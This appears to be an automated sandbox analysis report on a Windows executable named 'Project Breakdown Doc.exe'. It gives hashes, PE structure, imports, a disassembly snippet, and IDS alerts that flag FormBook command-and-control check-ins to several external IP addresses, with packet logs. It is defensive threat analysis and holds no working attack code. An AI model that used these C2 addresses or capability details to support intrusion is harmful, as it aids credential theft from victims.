DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4

C:\Users\user\AppData\Local\Temp\autC5D4.tmp

Download File

Process:	C:\Users\user\Desktop\Project Breakdown Doc.exe
File Type:	data
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	7.995252499439571
Encrypted:	true
SSDEEP:	6144:9qw8PRneE2gwmloAJWmKDw4kt7QyelNyERxeZsMgUkEf:9qw85pZV2AJQkiyelYMMgUkEf
MD5:	1C8E5B6F9CEA547A6BFF401F911104AC
SHA1:	964AD4D5FFCCBA0BAA1FDC644559D2BC16B7946C
SHA-256:	9F5DD0DE8BA6C85E9EC3573217FE074A8011B2879E562859ADF4E1A39839928A
SHA-512:	9D1BB11DF2DFF681BE708BED0BA213286ADF830284B87540FD9AF45CDE7D37C5C6C22894C4189C75D2EBAC11B6D7FDB10293A3D7EC3E6428012094AC23DC0BE1
Malicious:	false
Reputation:	low
Preview:	...6B1Z7A4DY..MS.GX7LWBG.6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMS.GX7BH.IC.H.{.Dx.x./$ r7X+%#cU _4X1.&<r58=r.6....g.Y%Tt:H>`YRGMSRG!6E..'$.\|Q=.xT#.H..h'?.V...V&.@...x95..:1/eW+.BGC6A1Z7.qDY.FLS.\2aLWBGC6A1.7G5OXYGM.VGX7LWBGC6a%Z7E$DYR7ISRG.7LGBGC4A1\7E4DYRGKSRGX7LWB7G6A3Z7E4DYPG..RGH7LGBGC6Q1Z'E4DYRG]SRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGc'7?,7LW6.G6A!Z7En@YRWMSRGX7LWBGC6A1z7ETDYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4DYRGMSRGX7LWBGC6A1Z7E4

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.201416370556976
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Project Breakdown Doc.exe
File size:	1'368'576 bytes
MD5:	bf7d24a56c64e6632ff2ca51f08908f8
SHA1:	428d664141dc9d2318dacdf51c4ac9efbbdd3847
SHA256:	ade930428485f335d9ab8526b0073be5cdf902c7316bf24bf86c69c85ed67d7e
SHA512:	dfbecaf21a3c59b0d3248dfb8fb603a321d2fa358d15466143a25ea907014b60182c70caa6395f3a0f0e24fe7662447431df00b8e628b3f50a8a4c4e73d66b2b
SSDEEP:	24576:OAHnh+eWsN3skA4RV1Hom2KXMmHa56GGVDLhD1vJVs9JAMu3E5:5h+ZkldoPK8Ya56GGx4bAM3
TLSH:	A955CF42A3D28031FFAB92335B66BB25567F7D699433951F12883C74BDB11B2123E623
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P.....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r.............#.S..._@'.S...R.k.S.....".S...RichR..

File Icon


Icon Hash:	3121090929212160

Static PE Info

General

Entrypoint:	0x42800a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F1DEF [Thu Nov 21 11:47:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FB004EBD89Dh
jmp 00007FB004EB0654h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FB004EB07DAh
cmp edi, eax
jc 00007FB004EB0B3Eh
bt dword ptr [004C41FCh], 01h
jnc 00007FB004EB07D9h
rep movsb
jmp 00007FB004EB0AECh
cmp ecx, 00000080h
jc 00007FB004EB09A4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FB004EB07E0h
bt dword ptr [004BF324h], 01h
jc 00007FB004EB0CB0h
bt dword ptr [004C41FCh], 00000000h
jnc 00007FB004EB097Dh
test edi, 00000003h
jne 00007FB004EB098Eh
test esi, 00000003h
jne 00007FB004EB096Dh
bt edi, 02h
jnc 00007FB004EB07DFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FB004EB07E3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FB004EB0835h
bt esi, 03h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD5 build 40629
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbc0cc	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc8000	0x83ad8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14c000	0x7134	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4b50	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dfdd	0x8e000	310e36668512d53489c005622bb1b4a9	False	0.5735602580325704	data	6.675248351711057	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2fd8e	0x2fe00	748cf1ab2605ce1fd72d53d912abb68f	False	0.32828818537859006	data	5.763244005758284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbf000	0x8f74	0x5200	aae9601d920f07080bdfadf43dfeff12	False	0.1017530487804878	data	1.1963819235530628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc8000	0x83ad8	0x83c00	2e6d95daed950489ad786eb3efd58cb7	False	0.8648804405834914	data	7.657876470096671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x14c000	0x7134	0x7200	f04128ad0f87f42830e4a6cdbc38c719	False	0.7617530153508771	data	6.783955557128661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc8548	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc8670	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc8798	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc88c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 5905 x 5905 px/m	English	Great Britain	0.47606382978723405
RT_ICON	0xc8d28	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 5905 x 5905 px/m	English	Great Britain	0.4120544090056285
RT_ICON	0xc9dd0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 5905 x 5905 px/m	English	Great Britain	0.37572614107883817
RT_ICON	0xcc378	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 5905 x 5905 px/m	English	Great Britain	0.36254133207368916
RT_ICON	0xd05a0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 5905 x 5905 px/m	English	Great Britain	0.339701880988998
RT_ICON	0xe0dc8	0x16c88	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.998692670381483
RT_MENU	0xf7a50	0x50	data	English	Great Britain	0.9
RT_STRING	0xf7aa0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xf8034	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xf86c0	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xf8b50	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xf914c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xf97a8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xf9c10	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xf9d68	0x51809	data			1.0003325015801314
RT_GROUP_ICON	0x14b574	0x5a	data	English	Great Britain	0.7888888888888889
RT_GROUP_ICON	0x14b5d0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x14b5e4	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x14b5f8	0x14	data	English	Great Britain	1.25
RT_VERSION	0x14b60c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x14b6e8	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T12:42:31.928508+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49808	43.205.198.29	80	TCP
2024-11-22T12:42:34.600224+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49815	43.205.198.29	80	TCP
2024-11-22T12:42:37.256489+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49821	43.205.198.29	80	TCP
2024-11-22T12:42:46.715244+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49843	172.67.220.36	80	TCP
2024-11-22T12:42:49.383453+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49850	172.67.220.36	80	TCP
2024-11-22T12:42:52.184148+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49859	172.67.220.36	80	TCP
2024-11-22T12:43:01.932322+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49882	194.245.148.189	80	TCP
2024-11-22T12:43:04.796233+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49888	194.245.148.189	80	TCP
2024-11-22T12:43:08.086956+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	49899	194.245.148.189	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 12:42:13.001437902 CET	49768	80	192.168.2.4	38.47.233.21
Nov 22, 2024 12:42:13.121184111 CET	80	49768	38.47.233.21	192.168.2.4
Nov 22, 2024 12:42:13.121288061 CET	49768	80	192.168.2.4	38.47.233.21
Nov 22, 2024 12:42:13.137100935 CET	49768	80	192.168.2.4	38.47.233.21
Nov 22, 2024 12:42:13.256855965 CET	80	49768	38.47.233.21	192.168.2.4
Nov 22, 2024 12:42:14.707618952 CET	80	49768	38.47.233.21	192.168.2.4
Nov 22, 2024 12:42:14.707645893 CET	80	49768	38.47.233.21	192.168.2.4
Nov 22, 2024 12:42:14.708138943 CET	49768	80	192.168.2.4	38.47.233.21
Nov 22, 2024 12:42:14.711889029 CET	49768	80	192.168.2.4	38.47.233.21
Nov 22, 2024 12:42:14.831471920 CET	80	49768	38.47.233.21	192.168.2.4
Nov 22, 2024 12:42:30.287194967 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:30.407033920 CET	80	49808	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:30.407120943 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:30.421319008 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:30.540931940 CET	80	49808	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:31.928508043 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:31.999907970 CET	80	49808	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:31.999963045 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:32.000138044 CET	80	49808	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:32.000185966 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:32.048166990 CET	80	49808	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:32.048228979 CET	49808	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:32.946918964 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:33.067173958 CET	80	49815	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:33.067271948 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:33.086255074 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:33.205873966 CET	80	49815	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:34.600224018 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:34.668154001 CET	80	49815	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:34.668239117 CET	80	49815	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:34.668322086 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:34.668322086 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:34.721312046 CET	80	49815	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:34.723205090 CET	49815	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:35.618840933 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:35.739454985 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.739661932 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:35.754379034 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:35.874264002 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874335051 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874388933 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874408007 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874432087 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874444008 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874485970 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874506950 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:35.874552965 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:37.256489038 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:37.269301891 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:37.269366980 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:37.269481897 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:37.269521952 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:37.376121998 CET	80	49821	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:37.376183033 CET	49821	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:38.275856972 CET	49827	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:38.395473957 CET	80	49827	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:38.395572901 CET	49827	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:38.404337883 CET	49827	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:38.523931980 CET	80	49827	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:39.874555111 CET	80	49827	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:39.874614000 CET	80	49827	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:39.874773979 CET	49827	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:39.883696079 CET	49827	80	192.168.2.4	43.205.198.29
Nov 22, 2024 12:42:40.003241062 CET	80	49827	43.205.198.29	192.168.2.4
Nov 22, 2024 12:42:45.233834028 CET	49843	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:45.353446960 CET	80	49843	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:45.354249001 CET	49843	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:45.372070074 CET	49843	80	192.168.2.4	172.67.220.36
Nov 22, 2024 12:42:45.493594885 CET	80	49843	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:46.715147018 CET	80	49843	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:46.715178013 CET	80	49843	172.67.220.36	192.168.2.4
Nov 22, 2024 12:42:46.715244055 CET	49843	80	192.168.2.4	172.67.220.36
